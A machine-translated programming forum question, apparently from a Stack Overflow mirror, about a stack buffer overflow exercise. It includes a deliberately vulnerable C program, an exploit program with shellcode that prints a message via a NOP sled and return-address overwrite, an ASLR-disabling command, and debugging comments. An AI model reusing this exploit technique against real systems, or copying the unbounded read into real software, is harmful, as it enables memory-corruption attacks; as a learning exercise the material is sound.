我有2個程序,我試圖做一些堆棧粉碎。C溢出需要一些方向
vuln.c
#include <stdlib.h>
#include <stdio.h>
int bof()
{
char buffer[8];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(buffer, sizeof(char), 1024, badfile);
return 1;
}
int main(int argc, char **argv)
{
bof();
printf("Not gonna do it! \n");
return 1;
}
exploit.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\xeb\x16"
"\x31\xdb"
"\x31\xd2"
"\x31\xc0"
"\x59"
"\xbb\x01\x00\x00\x00"
"\xb2\x09"
"\xb0\x04"
"\xcd\x80"
"\xb0\x01"
"\xcd\x80"
"xe8\xe5\xff\xff\xff"
"GOTCHA!\n";
#define OFFSET 1500
int bof()
{
char buffer[8];
strcpy(buffer, "AAAAAAAAA");
return 1;
}
unsigned long get_ESP(void)
{
__asm__("movl %ESP,%EAX");
}
int main(int argc, char **argv)
{
unsigned int addr;
FILE *badfile;
char buffer[1024];
addr = get_ESP()+OFFSET;
fprintf(stderr, "Using Offset: 0x%x\nShell code size: %lx\n",addr, sizeof(shellcode));
memset(&buffer, 0x90, 1024);
buffer[12] = addr & 0x000000ff;
buffer[13] = (addr & 0x0000ff00) >> 8;
buffer[14] = (addr & 0x00ff0000) >> 16;
buffer[15] = (addr & 0xff000000) >> 24;
memcpy(&buffer[ (sizeof(buffer) - sizeof(shellcode)) ], shellcode,sizeof(shellcode));
badfile = fopen("./badfile","w");
fwrite(buffer,1024,1,badfile);
fclose(badfile);
}
我這些命令,gcc vuln.c -fno-stack-protector -o vuln
和gcc exploit.c -fno-stack-protector -o exploit
編譯這對我的MacBook。我然後運行vuln,它運行正常,然後利用並獲得此輸出:
Using Offset: 0x6acd6814
Shell code size: 28
我然後與腐敗的od -t x2 badfile
文件,所以它最終看起來像這樣:
bash-3.2# cat badfile
????????????h?j?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?1?1?Y?? ?̀?̀xe8????GOTCHA!
我試圖獲得利用漏洞程序,以便打印GOTCHA!我現在得到Bus error: 10
。任何人都可以給我一個暗示我要去哪裏的錯誤?
__ _ __ _ __ _ __ _ __ _ __ _ __ _ __ _ _更新_ __ _ __ _ _
我嘗試了與BT5相同的過程。使用echo 0 > /proc/sys/kernel/randomize_va_space
禁用ASLR。我還是不明白爲什麼這樣不起作用。我在gdb中運行時得到這個:
Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ??()
(gdb)
我是否正確地嘗試了?
使用調試器遍歷代碼。這應該可以幫助您準確查看代碼中發生總線錯誤的位置。 – bta 2012-04-19 01:11:38
編程接收信號EXC_BAD_ACCESS,無法訪問存儲器。原因:13地址:0x0000000000000000 0x0000000100000e89 in bof() – atrueresistance 2012-04-19 01:12:47
現代操作系統做ASLR(地址空間佈局隨機化)。這意味着堆棧在exploit和vuln可執行文件中的位置不相同。您需要關閉ASLR或使用舊版操作系統(例如Linux 2.4,不包含ASLR補丁)以使此代碼正常工作。 – 2012-04-19 01:13:23